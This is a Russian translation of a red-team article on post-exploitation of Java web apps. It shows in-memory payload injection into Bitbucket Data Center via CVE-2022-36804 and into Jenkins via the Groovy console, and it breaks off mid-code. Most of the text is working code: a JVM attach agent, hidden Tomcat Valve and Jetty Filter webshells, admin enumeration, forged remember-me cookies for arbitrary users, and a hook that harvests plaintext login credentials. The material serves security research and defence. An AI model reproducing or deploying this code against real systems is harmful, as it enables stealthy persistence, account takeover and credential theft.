В марте Synacktiv описали способы эксплуатации небезопасной десериализации в приложениях, написанных на Java. Позже, команда красных автора столкнулась с Java-приложениями, в которых были обнаружены другие уязвимости, приводящие к исполнению кода. А уже в этой статье автор представил несколько приемов, которые использовались для внедрения полезной нагрузки в память на примере широко известных приложений.

Ну а мы, авторы telegram-канала AUTHORITY, перевели эту статью на русский.

Введение

Логика, упомянутая в предыдущем посте автора, ориентирована на приложения, подверженные уязвимостям десериализации и может быть адаптирована для внедрения в память полезной нагрузки вследствие эксплуатации уязвимостей типа SSTI, Command injection и скриптовых движков.

В статье рассмотрены некоторые советы и рекомендации по разработке и внедрении полезной нагрузки для изменения поведения приложений, что позволит оставаться невидимым при пост-эксплуатации или перехватывать аутентификационные данные привилегированных пользователей приложений. Автор сосредоточился на веб-приложениях и рассмотрел следующие продукты:

  • BitBucket Data Center (Command Injection)

  • Jenkins (эксплуатация Groovy console)

  • Confluence Data Center (SSTI)

Загрузка с помощью command injection

В 2022 году была обнаружена уязвимость внедрения команд, получившая идентификатор CVE-2022-36804, затрагивающая центр Bitbucket Data Center. Эту уязвимость можно использовать, вводя произвольные аргументы в команду git при экспорте репозитория в архив. Если анонимным пользователям предоставлен доступ на чтение общедоступного репозитория, эта уязвимость может быть использована без предварительной аутентификации.

Уязвимость может быть использована для компрометации сервера, на котором размещен Bitbucket Data Center, и выполнения пивотинга в сети. Однако, если это приложение содержит конфиденциальные данные и используется разработчиками, может быть интересно сначала скомпрометировать его и размещенные в нем ресурсы. Более того, если исходящий трафик фильтруется и приложение запускается от имени непривилегированного пользователя, может потребоваться эксфильтрация данных с помощью самого приложения.

Самый простой способ скомпрометировать его — взаимодействовать с его средой выполнения через код Java. Bitbucket под капотом использует следующие зависимости:

  • Embedded Tomcat для веб-сервера.

  • Фреймворк Spring.

Обратите внимание, что следующие советы по пост-эксплуатации были протестированы на Bitbucket Datacenter 7, но ту же методологию можно использовать и для других версий или приложений.

INFO  [main]  c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (/opt/atlassian/bitbucket/app/WEB-INF/classes started by bitbucket in /var/atlassian/application-data/bitbucket)
INFO  [main]  c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default
INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022)
INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1
INFO  [main]  c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135)
INFO  [spring-startup]  c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory /var/atlassian/application-data/bitbucket
[...]

Внедрение полезной нагрузки в память

Функции модуля java.instrument JVM предлагают возможности для отладки или профилирования приложений, таких как загрузка произвольного файла JAR внутрь работающего процесса Java. Attach API позволяет подцепиться к процессу, если он запущен от того же пользователя ОС. Ограничения и риски Attach API описаны в этой статье. В стандартных настройках Bitbucket с использованием образа Docker такие ограничения не настраиваются.

Чтобы заставить JVM загружать агента, необходимо создать JAR-приложение, которое будет выполняться с использованием уязвимости внедрения команд. Это приложение должно определить две точки входа:

  • Статический метод main, который будет использовать Attach API, чтобы удаленная JVM загружалась в качестве агента. Класс, определяющий этот метод должен быть указан в Main-Class манифеста

  • Статически метод Agentmain, выполняемый, когда агент (само приложение) загружается в удаленный процесс Java. Класс, определяющий этот метод должен быть указан в Agent-Class манифеста

В статическом методе main, можно использовать Instrumentation API для поиска нужного Java-процесса с помощью VirtualMachine::list и загрузки самого себя в качестве агента с помощью VirtualMachine.loadAgent следующим образом:

public class Main {
  // looks up the current application's JAR path
  private static String getCurrentJarPath() throws URISyntaxException {
    return new File(Main.class.getProtectionDomain().getCodeSource()
      .getLocation().toURI()).getAbsolutePath();
  }

  public static void main(String[] args) {
    try {
      String jarPath = getCurrentJarPath();
      if (!jarPath.endsWith(".jar")) return;
      
      Class vm = Class.forName("com.sun.tools.attach.VirtualMachine");
      Class vmDescriptor = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor");
      List<Object> descriptors = (List<Object>) vm.getMethod("list").invoke(null);
      for (Object descriptor : descriptors) {
        String pid = (String) vmDescriptor.getMethod("id").invoke(descriptor);
        String name = (String) vmDescriptor.getMethod("displayName").invoke(descriptor);
        
        // filter process by its name / command line
        if (!name.contains("com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher"))
          continue;
        
        Object vmObject = null;
        try {
          vmObject = vm.getMethod("attach", String.class).invoke(null, pid);
          if (vmObject != null) 
              vm.getMethod("loadAgent", String.class).invoke(vmObject, jarPath);
        } finally {
          if (vmObject != null) 
            vm.getMethod("detach").invoke(vmObject);
        }
      }
    } catch (Exception e) { 
      e.printStackTrace();
    }
  }
}

Однако, несмотря на то, что этот механизм присутствует в JVM JRE, Attach API и логика, используемая для связи с JVM (libattach), могут отсутствовать. Например, авторы столкнулись с установкой Bitbucket с использованием OpenJDK-8-JRE, у которой не было такого API. Чтобы это исправить, необходимо получить два следующих файла из соответствующего JDK:

  • Java Attach API в файле tools.jar

  • Низкоуровневая реализация libattach (libattach.dll или libattach.so)

Затем, эти два файла следует записать на диск, а также установить путь к классам и библиотекам низкого уровня:

private static void prepare() throws Exception {
  try {
    Class.forName("com.sun.tools.attach.VirtualMachine");
  } catch (Exception e) { // if libattach is not present/loaded
    String parentPath = new File(getCurrentJarPath()).getParent();
    String finalPath = parentPath + "/tools.jar";

    ClassLoader loader = ClassLoader.getSystemClassLoader();

    // adjust low-level libraries path
    Field field = ClassLoader.class.getDeclaredField("sys_paths");
    field.setAccessible(true);
    List<String> newSysPaths = new ArrayList<>();
    newSysPaths.add(parentPath);
    newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));
    field.set(loader, newSysPaths.toArray(new String[0]));

    // add tools.jar to the class path
    URLClassLoader urlLoader = (URLClassLoader) loader;
    Method addURLMethod = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
    addURLMethod.setAccessible(true);
    File toolsJar = new File(finalPath);
    if (!toolsJar.exists()) 
      throw new RuntimeException(toolsJar.getAbsolutePath() + " does not exist");
    addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());
  }
}

Однако, обратите внимание, что настройка пути к классу с помощью addURL не будет работать в версиях Java, начиная с 9, поскольку загрузчик системных классов больше не реализует URLClassLoader.

После загрузки агента Java в удаленный процесс JVM, метод agentmain класса Agent-Class будет вызван и выполнен внутри удаленного процесса.

Получение управления BitBucket

Для взаимодействия с Bitbucket необходимо получить ссылку на внутреннее состояние приложения. Однако сначала наши классы, которые будут использовать зависимости Bitbucket, должны быть определены в рантайме.

Есть два способа сделать это:

  • Использовать Instrumentation API для перехвата вызовов и патчинга байт-кода.

  • Ручной поиск нужного ClassLoader и определение новых классов вручную.

Первый метод уже описан в нескольких публикациях в блогах и проектах.

Эти способы полагаются на Transformer Instrumentation API и перезаписывают существующий байт-код. В этой статье подробно рассмотрен второй, менее опасный, вариант, поскольку он не мешает существующим классам. Основная идея — разработать новую Java-библиотеку, скомпилированную с использованием Maven, Gradle или вручную, которая импортирует зависимости Bitbucket, как внешние. Эта библиотека будет расширять Bitbucket, вызывая его компоненты, и внедряться в рантайм из ClassLoader.

Чтобы найти нужный ClassLoader, включающий классы Bitbucket и его зависимости, можно использовать следующий пример:

private static ClassLoader lookup (Instrumentation i) {
  for (Class klass : i.getAllLoadedClasses()) {
    if (!klass.getName().equals("org.apache.catalina.valves.ValveBase")) continue;
    return klass.getClassLoader();
  }
  return null;
}

// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
  ClassLoader targetLoader = lookup(i);
}

Затем нам просто нужно вручную определить классы на основе их байт-кода. Для этого мы создаем класс в нашем агенте, который расширяет ClassLoader и использует targetLoader в качестве родителя, чтобы определять классы без необходимости делать доступным private метод defineClass:

private static class AgentLoader extends ClassLoader {
  private static final byte[][] classBytecodes = new byte[][] {
    new byte[]{ /* custom class bytecode */ }
    /* classes bytecode */
  };
  
  private static final String[] classNames = new String[] {
    "org.my.project.CustomClass"
  };
  
  public void defineClasses() throws Exception {
    for (int = 0; i < classBytecodes.length; ++i) {
      defineClass(classNames[i], classBytecodes[i], 0,
        classBytecodes[i].length);
    }
  }
}

// [...]

// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
  try {
    ClassLoader targetLoader = lookup(i);
    AgentLoader loader = new AgentLoader(targetLoader);
    loader.defineClasses();
  } catch (Exception e) {
    e.printStackTrace();
  }
}

Обратите внимание, что более простой способ это сделать — создать URLClassLoader с targetLoader в качестве родительского элемента и использовать его для загрузки класса из кастомной JAR-библиотеки.

Теперь, когда наши классы определены в ClassLoader, мы можем импортировать из них зависимости Bitbucket.

Затем, нам нужно получить ссылку на состояние внутреннего приложения. Как авторы описывали в предыдущей публикации, такие переменные обычно хранятся в ThreadLocals. Проблема такого подхода заключается в том, что наш код не выполняется в потоке, который в данный момент обрабатывает веб-запрос. Чтобы это исправить, нам просто нужно непрерывно анализировать ThreadLocals всех потоков, пока не обнаруживается ссылка на правильную переменную состояния:

package org.my.project;
// [...]
import org.springframework.web.context.request.ServletRequestAttributes;
// [...]
public class CustomClass implements Runnable {

  private static ServletRequestAttributes lookupAttributes() throws Exception {
    ServletRequestAttributes attribs = null;
    // Analyzes all thread locals of all threads
    // Stops when a servlet request is being processed
    // to obtain a reference to the web app ctx
    while(true) {
      Set<Thread> threads = Thread.getAllStackTraces().keySet();
      for (Thread t : threads) {
        java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
        fThreadLocals.setAccessible(true);

        java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap")
          .getDeclaredField("table");
        fTable.setAccessible(true);

        if(fThreadLocals.get(t) == null) continue;

        Object table = fTable.get(fThreadLocals.get(t));
        java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
          .getDeclaredField("value");
        fValue.setAccessible(true);

        int length = java.lang.reflect.Array.getLength(table);
        for (int i=0; i < length; ++i) {
          Object entry = java.lang.reflect.Array.get(table, i);
          if(entry == null) continue;
          Object value = fValue.get(entry);
          if(value == null) continue;
          if (value instanceof WeakReference) {
            value = ((WeakReference<?>) value).get();
          }
          if(value == null) continue;
          if (value instanceof SoftReference) {
            value = ((SoftReference<?>) value).get();
          }
          if(value == null) continue;
          
          // We've found a ref
          if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) {
            attribs = (ServletRequestAttributes) value;
            break;
          }
        }
        if (attribs != null) break;
      }
      if (attribs != null) break;
      Thread.sleep(100);
    }
    return attribs;
  }
  
  @Override
  public void run() {
    try {
      ServletContext svlCtx = lookupAttributes().getRequest().getServletContext();
      // TODO reuse ServletContext
    } catch(Exception ignored) {
    }
  }

  static {
    new Thread(new CustomClass()).start();
  }
}

Предыдущий класс CustomClass имеет инициализатор статического блока, который выполняется, когда класс будет определен в агенте. Этот блок создает новый поток, который непрерывно анализирует ThreadLocals. Статический метод LookupAttributes завершает свою работу, когда обнаруживается ссылка на экземпляр ServletRequestAttributes и извлекает из него экземпляр ServletContext. Чтобы это ускорить, нам нужно отправить новый HTTP-запрос в приложение Bitbucket.

Из экземпляра ServletContext мы можем выполнять следующие операции:

  • Перехват всех HTTP-запросов, зарегистрировав новый Valve на Embedded Tomcat

  • Получение ссылки на состояние Spring Bitbucket

Чтобы перехватить все HTTP-запросы и запустить веб-шелл в памяти, можно использовать следующий код:

public static class CustomValve extends ValveBase {
  // [...]
  @Override
  public void invoke(Request request, Response response) throws IOException, ServletException {
    try {
      // TODO parse request and send a response from the in-memory webshell
    } catch (Exception ignored) {
    } finally {
      // forward to the next Valve
      if (this.getNext() != null) {
        this.getNext().invoke(request, response);
      }
    }
  }
  // [...]
}

private void injectValve(ServletContext svlCtx) {
  // Intercepts all requests (including pre-auth requests)
  WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader();
  Field fResources = WebappClassLoaderBase.class.getDeclaredField("resources");
  fResources.setAccessible(true);
  StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
      .getContext();

  // Already injected ?
  for (Valve valve: ctx.getParent().getPipeline().getValves()) {
    if(valve.getClass().getName() == CustomValve.class.getName())
      return;
  }

  ctx.getParent().getPipeline().addValve(new CustomValve());
}

Другой способ — поиск экземпляра определенного загрузчика классов контекста. Каждый поток связан с загрузчиком классов контекста, и в случае с Tomcat, при поиске среди всех потоков мы можем найти WebappClassLoaderBase.

Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
    cl = t.getContextClassLoader();
    if(WebappClassLoaderBase.class.isInstance(cl)){
        return cl;
    }
}

У этого загрузчика классов есть поле resources:

public abstract class WebappClassLoaderBase extends URLClassLoader implements ... {
[...]
    protected WebResourceRoot resources = null;

Из этого поля мы можем получить StandardContext, который мы использовали в предыдущем примере.

public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot {
[...]
    private Context context;
[...]
    public Context getContext() {
        return this.context;
    }

Что касается состояния Spring в Bitbucket, это экземпляр класса WebApplicationContext, и его можно получить из атрибутов экземпляра ServletContext. Имя этого атрибута можно узнать следующим образом:

  • Декомпилируя Bitbucket

  • Отлаживая Bitbucket

  • Просто анализируя все зарегистрированные атрибуты этого экземпляра SpringContext

Далее можно извлечь экземпляр WebApplicationContext:

String SPRING_ATTR = "org.springframework.web.context.WebApplicationContext:Bitbucket";
ServletContext svlCtx = /* lookup() */;
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);

Наконец, можно вызывать компоненты Bitbucket, которые являются Bean в Spring, или получить свойства самого Bitbucket:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
SampleService sampleService = (SampleService) ctx.getBean("sampleService");
String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty("some-property");

Взаимодействие с компонентами Bitbucket

Теперь, когда у нас есть удобный способ расширения возможностей Bitbucket, вызывая его компоненты, мы можем искать интересные функции. Эти функции затем будут использоваться в веб-шелле.

Что касается атрибутов SpringContext, мы можем проанализировать стек вызовов, подцепившись отладчиком к Bitbucket и декомпилировать JAR-зависимости. Здесь это не рассматривается.

Следующие JAR-файлы представляют интерес:

  • Определения API (используя только интерфейсы), в JAR-библиотеках, соответствующих паттерну имен bitbucket-[feature]-api-[version].jar

  • Реализации API, в JAR-библиотеках, соответствующих паттерну имен bitbucket-[feature]-impl-[version].jar

Частично API документирован на сайте Atlassian Docs.

Аннотация класса Spring @Service("[name]") соответствует имени, присвоенному компоненту Bitbucket (т.е. Spring Bean), который можно получить из WebApplicationContext

Например, DefaultUserService, реализующий UserService, является Bean с именем userService:

// [...]
@DependsOn({"createSystemUserUpgradeTask"})
@AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class})
@Service("userService")
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/user/DefaultUserService.class */
public class DefaultUserService extends AbstractService implements InternalUserService {
  // [...]
  private final ApplicationUserDao userDao;
  private final UserHelper userHelper;
  @Value("${page.max.groups}")
  private int maxGroupPageSize;
  @Value("${page.max.users}")
  private int maxUserPageSize;

  @Autowired
  public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value("${auth.remote.cache.cacheSize}") int cacheSize, @Value("${auth.remote.cache.ttl}") int cacheTtl, @Value("${auth.remote.enabled}") boolean checkRemoteDirectory) {
    // [...]
  }

  @PreAuthorize("hasUserPermission(#user, 'USER_ADMIN')")
  public void deleteAvatar(@Nonnull ApplicationUser user) {
    this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, "user"));
  }
  // [...]
}

Который доступен из нашего контекста следующим образом:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
UserService userService = (UserService) ctx.getBean("userService");

Перечисление администраторов

Первый шаг в пост-эксплуатации — разведка. В текущем контексте полезно получить информацию обо всех администраторах Bitbucket. Для этого можно использовать PermissionService, который позволяет получить детали пользователей, обладающих конкретными правами:

// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
  .getAttribute(SPRING_ATTR);

HashMap<String, Object> result = new HashMap<>();
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
  Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
  for(ApplicationUser user : admins.getValues()) {
    HashMap<String, Object> entry = new HashMap<>();
    entry.put("user_id", user.getId());
    entry.put("user_name", user.getDisplayName());
    entry.put("user_slug", user.getSlug());
    entry.put("user_type", user.getType().name());
    entry.put("user_enabled", Boolean.toString(user.isActive()));
    entry.put("user_email", user.getEmailAddress());
    entry.put("permission", perm.name());
    result.put(Integer.toString(user.getId()), entry);
  }
}

Однако, если этот фрагмент кода будет выполнен как есть из нашего внедренного контекста (т.е. из перехваченного запроса в нашем собственном Valve), будет выброшено следующее исключение:

org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread

В Bitbucket, Spring Framework использует Hibernate под капотом. В нашем контексте сессия еще не открыта, поэтому все последующие запросы к базе данных будут завершаться неудачей. Путем воспроизведения поведения OpenSessionInViewFilter с использованием SessionFactoryUtils, мы можем установить новую сессию для нашего контекста:

import org.hibernate.FlushMode;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate5.SessionFactoryUtils;
import org.springframework.orm.hibernate5.SessionHolder;
import org.springframework.transaction.support.TransactionSynchronizationManager;
import org.springframework.web.context.WebApplicationContext;

import java.io.Closeable;

public class HibernateSessionCloseable implements Closeable {
  private final SessionFactory factory;
  private final Session session;
  public HibernateSessionCloseable(WebApplicationContext webCtx) {
    this.factory = (SessionFactory) webCtx.getBean("sessionFactory");
    this.session = factory.openSession();
    session.setHibernateFlushMode(FlushMode.MANUAL);
    SessionHolder holder = new SessionHolder(session);
    TransactionSynchronizationManager.bindResource(factory, holder);
  }

  @Override
  public void close() {
    session.flush();
    TransactionSynchronizationManager.unbindResource(factory);
    SessionFactoryUtils.closeSession(session);
  }
}

Теперь, чтобы это исправить, нам нужно добавить новый экземпляр HibernateSessionCloseable:

// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
  .getAttribute(SPRING_ATTR);

HashMap<String, Object> result = new HashMap<>();
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
  PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
  for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
    Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
    for(ApplicationUser user : admins.getValues()) {
      // [...]
    }
  }
}

Генерация аутентификационных cookies

Еще одной интересной функцией для веб-шелла может быть генерация аутентифицированных сессий для произвольного пользователя Bitbucket. Bitbucket, как и несколько других приложений (например, Spring Remember-Me Authentication), использует метод аутентификации на основе cookies. Эта функция включена по умолчанию (опциональное значение для свойства Bitbucket auth.remember-me.enabled) и автоматически аутентифицирует пользователя на основе cookie.

Этот сервис реализован классом DefaultRememberMeService:

// [...]
@Service("rememberMeService")
@AvailableToPlugins(RememberMeService.class)
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/auth/DefaultRememberMeService.class */
public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {
  // [...]
  private final AuthenticationContext authenticationContext;
  private final RememberMeTokenDao dao;
  private final SecureTokenGenerator tokenGenerator;
  private final UserService userService;
  // [...]
  public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {
    ApplicationUser user = this.authenticationContext.getCurrentUser();
    Objects.requireNonNull(user);
    doCreateCookie(user, request, response, false);
  }
  // [...]
  @VisibleForTesting
  protected String encodeCookie(String... cookieTokens) {
    String joined = StringUtils.join(cookieTokens, ":");
    String encoded = new String(Base64.encodeBase64(joined.getBytes()));
    return StringUtils.stripEnd(encoded, "=");
  }
  // [...]
  private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request, 
      @Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {
    Cookie cookie = getCookie(request);
    if (cookie != null) {
      if (shouldThrowIfCookiePresent) {
        cancelCookie(request, response);
        InternalRememberMeToken token = toToken(cookie);
        throw new IllegalStateException("A remember-me cookie for series '+" 
          + (token != null ? token.getSeries() : "invalid") 
          + "' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie");
      }
      logout(request, response);
    }
    InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(
      new InternalRememberMeToken.Builder()
        .series(this.tokenGenerator.generateToken())
        .token(this.tokenGenerator.generateToken())
        .user(InternalConverter.convertToInternalUser(user))
        .expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());
    setCookie(request, response, token2);
    log.debug("Created new remember-me series '{}' for user '{}'", token2.getSeries(), user.getName());
  }
  // [...]
}

Поскольку этот сервис позволяет генерировать cookie только для текущего аутентифицированного пользователя, нам нужно будет создать cookie, реализуя поведение приватного метода doCreateCookie:

HashMap<String, Object> result = new HashMap<>();
int userId = (int) args.get("target_user_id");
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
  //lookup user
  UserService userService = (UserService) ctx.getBean("userService");
  ApplicationUser user;
  try {
    user = userService.getUserById(userId);
  } catch (Exception e) {
    return;
  }
  if (user == null) return;
  //generate an auto-login cookie for this user
  RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean("rememberMeTokenDao");
  SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean("tokenGenerator");
  InternalRememberMeToken token = rmeDao.create(
    new InternalRememberMeToken.Builder()
      .series(tokenGenerator.generateToken())
      .token(tokenGenerator.generateToken())
      .user(InternalConverter.convertToInternalUser(user))
      .expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)
      .build()
  );
  String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');
  result.put("cookie_name", ctx.getEnvironment().getProperty("auth.remember-me.cookie.name"));
  result.put("cookie_value", Base64Utils.encodeToUrlSafeString(joined.getBytes()));
}

Эта cookie может быть использована для получения аутентифицированной сессии от имени целевого пользователя, предоставляя полные привилегии в Bitbucket в случае администратора.

Перехват открытых учетных данных

Последней интересной функцией веб-шелла является перехватывает формы аутентификации, отправляемых легитимными пользователями, чтобы получить учетные данные в открытом виде, так как это может быть полезно для получения доступа к другим чувствительным ресурсам. Более того, на локальных экземплярах Bitbucket обычно используется LDAP для аутентификации, что делает эту задачу еще более интересной.

Для Bitbucket форма аутентификации использует /j_atl_security_check. Например, когда форма отправляется, выполняется следующий запрос:

POST /j_atl_security_check HTTP/1.1
Host: 172.16.0.2:7990
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]

j_username=[USERNAME]&j_password=[PASSWORD]&_atl_remember_me=on&next=[...]&queryString=[...]&submit=Log+in

В нашем контексте все HTTP-запросы могут быть перехвачены из класса CustomValve. Следующий фрагмент кода регистрирует все полученные учетные данные:

public static class CustomValve extends ValveBase {
  // [...]
  @Override
  public void invoke(Request request, Response response) throws IOException, ServletException {
    try {
      if (request.getRequestURI().equals("/j_atl_security_check")
          && request.getMethod().equalsIgnoreCase("POST")
          && request.getParameter("j_username") != null
          && request.getParameter("j_password") != null) {
        
        logCredentials(request.getParameter("j_username"),
          request.getParameter("j_password"));
      }
      // TODO parse request and send a response from the in-memory webshell
    } catch (Exception ignored) {
    } finally {
      // forward to the next Valve
      if (this.getNext() != null) {
        this.getNext().invoke(request, response);
      }
    }
  }
  
  private final HashMap<String, Set<String>> credentials = new HashMap<>();
  
  private void logCredentials(String username, String pass) {
    u = u.trim();
    synchronized (credentials) {
      if(credentials.containsKey(username)) {
        Set<String> set = credentials.get(u);
        set.add(pass);
      } else {
        Set<String> set = new HashSet<>();
        set.add(pass);
        credentials.put(username, set);
      }
    }
  }
  // [...]
}

Наконец, веб-шелл нужно просто модифицировать, чтобы она обрабатывала новую команду, которая бы отправляла оператору все перехваченные учетные данные

Загрузка через движок скриптов

Jenkins имеет функцию, позволяющую выполнять скрипты на языке Groovy из:

  • Консоли скриптов на интерфейсе менеджмента, где скрипты могут выполняться в Jenkins controller runtime (т.е. где выполняется веб-консоль).

  • Задачи автоматизации при отправке кода в пайплайны, где скрипты выполняются на рабочих узлах Jenkins

За последние годы было выявлено два пути, ведущих к RCE на контроллере Jenkins:

  • Произвольная десериализация данных, предоставленных пользователем из Jenkins Remoting (CVE-2017-1000353, включая модуль Metasploit). Как объясняется в статье, десериализация вызывается из SignedObject в цепочке гаджетов, нацеленной на commons-collections:3.0 с использованием Transformers.

  • Несколько обходов песочницы на задачах пайплайнов, описанных Orange Tsai (Hacking Jenkins Part 1, Hacking Jenkins Part 2), которые связывают CVE-2018-1000861, CVE-2019-1003005 и CVE-2019-1003029 (PoC)

В этой статье автор рассмотрел только простой случай, когда мы аутентифицированы как администратор в Jenkins, где есть возможность использовать консоль скриптов для выполнения произвольных Groovy-скриптов в среде выполнения контроллера Jenkins. Однако стоит отметить, что представленные далее методы пост-эксплуатации могут быть использованы и с двумя упомянутыми RCE.

Выполнение скриптов Groovy будет использоваться для взаимодействия со средой выполнения Jenkins. Под капотом Jenkins использует следующие зависимости:

  • Embedded Jetty для веб-сервера

  • Spring

Внедрение полезной нагрузки в память

Мы можем определять новые классы на Groovy. Кроме того, мы можем определять собственные классы от родителя текущего ClassLoader контекста потока (Thread context's ClassLoader):

try {
    ClassLoader cl = Thread.currentThread().getContextClassLoader()
        .getParent();
    Class kValve;
    for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {
        byte[] klassBytes = Base64.decoder.decode(d.strip());
        m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);
        kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);
    }
    kValve.newInstance();
} catch(e) { }

Из внедренных классов мы можем взаимодействовать с классами Jenkins и Spring. Следующим шагом будет инъекция веб-шелла в память, перехватывающего все HTTP-запросы. В Spring на Jetty мы можем получить ссылку на WebAppContext$Context в ThreadLocals потока, который в данный момент обрабатывает запрос.

Из экземпляра класса WebAppContext$Context мы можем извлечь экземпляр класса WebAppContext, который хранится в поле this$0.

К счастью, Groovy-скрипт выполняется в потоке, который обрабатывает наш текущий HTTP-запрос, и мы можем получить ссылку с помощью следующего фрагмента кода:

try {
  Thread t = Thread.currentThread();
  java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
  fThreadLocals.setAccessible(true);

  java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap").getDeclaredField("table");
  fTable.setAccessible(true);

  if (fThreadLocals.get(t) == null) return;

  Object table = fTable.get(fThreadLocals.get(t));
  java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry").getDeclaredField("value");
  fValue.setAccessible(true);

  Object handle = null;
  int length = java.lang.reflect.Array.getLength(table);
  for (int i = 0; i < length; ++i) {
    Object entry = java.lang.reflect.Array.get(table, i);
    if (entry == null) continue;
    Object value = fValue.get(entry);
    if (value == null) continue;
    if (value instanceof WeakReference) {
      value = ((WeakReference<?>) value).get();
    }
    if (value == null) continue;
    if (value instanceof SoftReference) {
      value = ((SoftReference<?>) value).get();
    }
    if (value == null) continue;
    if (value.getClass().getName().equals("org.eclipse.jetty.webapp.WebAppContext$Context")) {
      handle = value;
      break;
    }
  }
  if (handle == null) return;
  Field this0 = handle.getClass().getDeclaredField("this$0");
  this0.setAccessible(true);
  WebAppContext appCtx = (WebAppContext) this0.get(handle);
} catch (Throwable ignored) {
}

Затем мы можем использовать эту ссылку для определения пользовательского фильтра и добавления его в начало цепочки:

//[...]
import javax.servlet.Filter;
//[...]
public class CustomFilter implements Filter {

  public CustomFilter(WebAppContext appCtx) throws Exception {
    ServletHandler handler = appCtx.getServletHandler();
    addFilterWithMapping(
      handler,
      new FilterHolder(this), "/*",
      EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST)
    );
  }

  private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder, 
      String pathSpec, EnumSet<DispatcherType> dispatches) throws Exception {
    holder.setName("CustomFilter" + new SecureRandom().nextInt(0xffff));
    Objects.requireNonNull(holder);
    FilterHolder[] holders = handler.getFilters();
    if (holders != null) {
      holders = holders.clone();
    } else {
      holders = new FilterHolder[0];
    }
    // already injected
    for (FilterHolder entry : holders) {
      if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName()))
        return;
    }
    synchronized (handler) {
      Method contains = handler.getClass()
        .getDeclaredMethod("containsFilterHolder", FilterHolder.class);
      contains.setAccessible(true);
      if (!((Boolean) contains.invoke(handler, holder))) {
        handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders));
      }
    }

    FilterMapping mapping = new FilterMapping();
    mapping.setFilterName(holder.getName());
    mapping.setPathSpec(pathSpec);
    mapping.setDispatcherTypes(dispatches);
    handler.prependFilterMapping(mapping);
  }
  
  @Override
  public void destroy() { }

  @Override
  public void init(FilterConfig filterConfig) { }

  private static class AbortRequest extends Throwable { }

  @Override
